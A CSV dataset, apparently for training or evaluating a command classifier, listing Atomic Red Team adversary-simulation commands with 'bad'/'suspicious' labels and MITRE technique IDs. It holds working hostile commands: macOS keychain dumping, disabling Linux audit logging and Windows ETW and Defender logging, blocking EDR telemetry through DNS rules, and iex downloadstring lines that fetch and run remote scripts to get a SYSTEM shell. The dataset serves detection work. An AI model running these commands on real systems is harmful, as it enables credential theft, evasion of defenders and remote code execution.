9db59cd4204a519e17033cb4,sudo security dump-keychain -d login.keychain,sudo security dump-keychain -d login.keychain,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Keychain Dump,T1555.001,"[""T1555.001""]",macos,0.9,False,"This command will dump keychain credential information from login.keychain. 
Source: https://www.loobins.io/binaries/security/

### Keychain File path
  ~/Library/Keychains/
  /Library/Keychains/
  /Network/Library/Keychains/
  [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)
  ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a45fb824ac03e6fd1735875b,security find-certificate -a -p > #{cert_export},security find-certificate -a -p > #{cert_export},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Export Certificate Item(s),T1555.001,"[""T1555.001""]",macos,0.9,False,"This command finds all certificate items and sends the output to local file in pem format.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13c0658b601a69c65e006951,rm #{cert_export},rm #{cert_export},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Export Certificate Item(s),T1555.001,"[""T1555.001""]",macos,0.55,True,"This command finds all certificate items and sends the output to local file in pem format.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7dd1a49e3a30231ba886d582,security import #{cert_export} -k,security import #{cert_export} -k,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Import Certificate Item(s) into Keychain,T1555.001,"[""T1555.001""]",macos,0.9,False,"This command will import a certificate pem file into a keychain.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36d63ceccb8e46ff75370f06,cat ~/Library/Keychains/login.keychain-db > #{keychain_export},cat ~/Library/Keychains/login.keychain-db > #{keychain_export},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Copy Keychain using cat utility,T1555.001,"[""T1555.001""]",macos,0.9,False,"This command will copy the keychain using the cat utility in a manner similar to Atomic Stealer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89353f692d8c2f7f6c6ba616,rm #{keychain_export},rm #{keychain_export},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.001/T1555.001.yaml,Copy Keychain using cat utility,T1555.001,"[""T1555.001""]",macos,0.55,True,"This command will copy the keychain using the cat utility in a manner similar to Atomic Stealer.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e5d9ee3e237a497dfb4e1bf,"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name} if [ -f ""/etc/#{auditd_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name} else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name} fi sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}","sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name} if [ -f ""/etc/#{auditd_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name} else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name} fi sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Auditing Configuration Changes on Linux Host,T1562.006,"[""T1562.006""]",linux,0.9,False,"Emulates modification of auditd configuration files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8622cc7b33183e4459df29e,"sed -i '$ d' /etc/audisp/#{audisp_config_file_name} if [ -f ""/etc/#{auditd_config_file_name}"" ]; then sed -i '$ d' /etc/#{auditd_config_file_name} else sed -i '$ d' /etc/audit/#{auditd_config_file_name} fi sed -i '$ d' /etc/#{libaudit_config_file_name}","sed -i '$ d' /etc/audisp/#{audisp_config_file_name} if [ -f ""/etc/#{auditd_config_file_name}"" ]; then sed -i '$ d' /etc/#{auditd_config_file_name} else sed -i '$ d' /etc/audit/#{auditd_config_file_name} fi sed -i '$ d' /etc/#{libaudit_config_file_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Auditing Configuration Changes on Linux Host,T1562.006,"[""T1562.006""]",linux,0.55,True,"Emulates modification of auditd configuration files
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7f07b696602d1652ebd369b2,echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name},echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Auditing Configuration Changes on FreeBSD Host,T1562.006,"[""T1562.006""]",linux,0.9,False,"Emulates modification of auditd configuration files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b72d91c2fdc992ba6eb2efa3,"sed -i """" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}","sed -i """" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Auditing Configuration Changes on FreeBSD Host,T1562.006,"[""T1562.006""]",linux,0.55,True,"Emulates modification of auditd configuration files
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fe5ae3b636d55a3157e9bd3,"if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name} fi if [ -f ""/etc/#{rsyslog_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name} fi if [ -f ""/etc/syslog-ng/#{syslog_ng_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name} fi","if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name} fi if [ -f ""/etc/#{rsyslog_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name} fi if [ -f ""/etc/syslog-ng/#{syslog_ng_config_file_name}"" ]; then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name} fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Logging Configuration Changes on Linux Host,T1562.006,"[""T1562.006""]",linux,0.9,False,"Emulates modification of syslog configuration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d79b90930afc8c91e2780641,"if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i '$ d' /etc/#{syslog_config_file_name} fi if [ -f ""/etc/#{rsyslog_config_file_name}"" ]; then sed -i '$ d' /etc/#{rsyslog_config_file_name} fi if [ -f ""/etc/syslog-ng/#{syslog_ng_config_file_name}"" ]; then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name} fi","if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i '$ d' /etc/#{syslog_config_file_name} fi if [ -f ""/etc/#{rsyslog_config_file_name}"" ]; then sed -i '$ d' /etc/#{rsyslog_config_file_name} fi if [ -f ""/etc/syslog-ng/#{syslog_ng_config_file_name}"" ]; then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name} fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Logging Configuration Changes on Linux Host,T1562.006,"[""T1562.006""]",linux,0.55,True,"Emulates modification of syslog configuration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c3d814316dff50dafa6edd87,"if [ -f ""/etc/#{syslog_config_file_name}"" ]; then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name} fi","if [ -f ""/etc/#{syslog_config_file_name}"" ]; then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name} fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Logging Configuration Changes on FreeBSD Host,T1562.006,"[""T1562.006""]",linux,0.9,False,"Emulates modification of syslog configuration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b5d2baacf05f7a3a67d9f13,"if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i """" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name} fi","if [ -f ""/etc/#{syslog_config_file_name}"" ]; then sed -i """" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name} fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Logging Configuration Changes on FreeBSD Host,T1562.006,"[""T1562.006""]",linux,0.55,True,"Emulates modification of syslog configuration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c8d529ed377dabf5165be680,"cmd /c ""#{ps_exec_location}"" -accepteula -i -s cmd.exe /c logman update trace ""#{session}"" --p ""#{provider}"" -ets","cmd /c ""#{ps_exec_location}"" -accepteula -i -s cmd.exe /c logman update trace ""#{session}"" --p ""#{provider}"" -ets",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable Powershell ETW Provider - Windows,T1562.006,"[""T1562.006""]",windows,0.9,False,"This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e7f684af94cedc998d34493,"cmd /c ""#{ps_exec_location}"" -i -s cmd.exe /c logman update trace ""#{session}"" -p ""#{provider}"" -ets","cmd /c ""#{ps_exec_location}"" -i -s cmd.exe /c logman update trace ""#{session}"" -p ""#{provider}"" -ets",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable Powershell ETW Provider - Windows,T1562.006,"[""T1562.006""]",windows,0.55,True,"This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69360bf3ae9039613a593ee4,REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0,REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Registry (cmd),T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1217336a812171443740b9ef,REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1,REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Registry (cmd),T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddf882a02bfb9903643607c3,"New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType ""DWord"" -Force","New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType ""DWord"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Registry (powershell),T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework using PowerShell to update the Windows registry,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5a2303acb6268a7817333c5,REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1,REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Registry (powershell),T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework using PowerShell to update the Windows registry,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a4f6e4f0bf55e4420fbc4a2,"reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" /v Enabled /t REG_DWORD /d 0 /f","reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" /v Enabled /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,LockBit Black - Disable the ETW Provider of Windows Defender -cmd,T1562.006,"[""T1562.006""]",windows,0.9,False,"An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8207bb0d5faf49025de0f764,"reg delete ""HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" /v Enabled /f >nul 2>&1","reg delete ""HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" /v Enabled /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,LockBit Black - Disable the ETW Provider of Windows Defender -cmd,T1562.006,"[""T1562.006""]",windows,0.55,True,"An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4aa65b0b7f8b72b1bfe3a0ac,"New-ItemProperty ""HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" -Name Enabled -PropertyType DWord -Value 0 -Force","New-ItemProperty ""HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" -Name Enabled -PropertyType DWord -Value 0 -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,LockBit Black - Disable the ETW Provider of Windows Defender -Powershell,T1562.006,"[""T1562.006""]",windows,0.9,False,"An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72a7fafa967a1c775fbb606a,"Remove-ItemProperty ""HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" -Name Enabled -Force -ErrorAction Ignore","Remove-ItemProperty ""HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"" -Name Enabled -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,LockBit Black - Disable the ETW Provider of Windows Defender -Powershell,T1562.006,"[""T1562.006""]",windows,0.55,True,"An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00716765d01a4828e14f1bce,REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f,REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd,T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8d61163908317fbbe4d3303f,REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1,REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd,T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e39ea7ac76f4c4d038e5aef4,"New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType ""String"" -Force","New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType ""String"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell,T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83397d6deb096a22d4bf13ed,Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled,Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell,T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
375d03af5666e868367405f2,"REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f","REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd,T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43216bef1a30cb91e20ac82a,"REG DELETE ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" /v COMPlus_ETWEnabled /f > nul 2>&1","REG DELETE ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" /v COMPlus_ETWEnabled /f > nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd,T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70539292ec36995c857cac31,"New-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" -Name COMPlus_ETWEnabled -Value 0 -PropertyType ""String"" -Force","New-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" -Name COMPlus_ETWEnabled -Value 0 -PropertyType ""String"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell,T1562.006,"[""T1562.006""]",windows,0.9,False,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb29f8ac06cab024380d184d,"Remove-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" -Name COMPlus_ETWEnabled","Remove-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"" -Name COMPlus_ETWEnabled",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell,T1562.006,"[""T1562.006""]",windows,0.55,True,Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b131ccd2d338087db34b2df,"Add-DnsClientNrptRule -Namespace "".endpoint.security.microsoft.com"" -NameServers 127.0.0.1 -Comment ""Silenced by Name Resolution Policy Table"" Add-DnsClientNrptRule -Namespace ""endpoint.security.microsoft.com"" -NameServers 127.0.0.1 -Comment ""Silenced by Name Resolution Policy Table"" Clear-DnsClientCache","Add-DnsClientNrptRule -Namespace "".endpoint.security.microsoft.com"" -NameServers 127.0.0.1 -Comment ""Silenced by Name Resolution Policy Table"" Add-DnsClientNrptRule -Namespace ""endpoint.security.microsoft.com"" -NameServers 127.0.0.1 -Comment ""Silenced by Name Resolution Policy Table"" Clear-DnsClientCache",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table,T1562.006,"[""T1562.006""]",windows,0.9,False,"Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b5cc13982403faf112f0fd1,"try { # Get all current NRPT rules $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' } # Remove each NRPT rule foreach ($rule in $DnsClientNrptRules) { Remove-DnsClientNrptRule -Name $rule.Name -Force } # Clear DNS client cache Clear-DnsClientCache Write-Host ""All NRPT rules have been removed and the DNS cache has been cleared."" } catch { Write-Host ""An error occurred: $_"" } Clear-DnsClientCache","try { # Get all current NRPT rules $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' } # Remove each NRPT rule foreach ($rule in $DnsClientNrptRules) { Remove-DnsClientNrptRule -Name $rule.Name -Force } # Clear DNS client cache Clear-DnsClientCache Write-Host ""All NRPT rules have been removed and the DNS cache has been cleared."" } catch { Write-Host ""An error occurred: $_"" } Clear-DnsClientCache",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.006/T1562.006.yaml,Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table,T1562.006,"[""T1562.006""]",windows,0.55,True,"Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98957220d88a64999312ea06,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:""#{output_file}"" /target:exe ""#{source_file}"" %tmp%/T1106.exe","C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:""#{output_file}"" /target:exe ""#{source_file}"" %tmp%/T1106.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,Execution through API - CreateProcess,T1106,"[""T1106""]",windows,0.9,False,"Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
696ed26ec45d8d02ea7261ee,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique,T1106,"[""T1106""]",windows,0.9,False,Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
998b6c7366275c622160d6e4,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique,T1106,"[""T1106""]",windows,0.9,False,Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddec6e9b80d90e3cc1a6f087,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique,T1106,"[""T1106""]",windows,0.9,False,Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c44715f5074cccf4a919382,$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug,$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,Run Shellcode via Syscall in Go,T1106,"[""T1106""]",windows,0.9,False,"Runs shellcode in the current running process via a syscall.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
585e30429ea569e1ca06fa14,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1106/T1106.yaml,Run Shellcode via Syscall in Go,T1106,"[""T1106""]",windows,0.55,True,"Runs shellcode in the current running process via a syscall.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
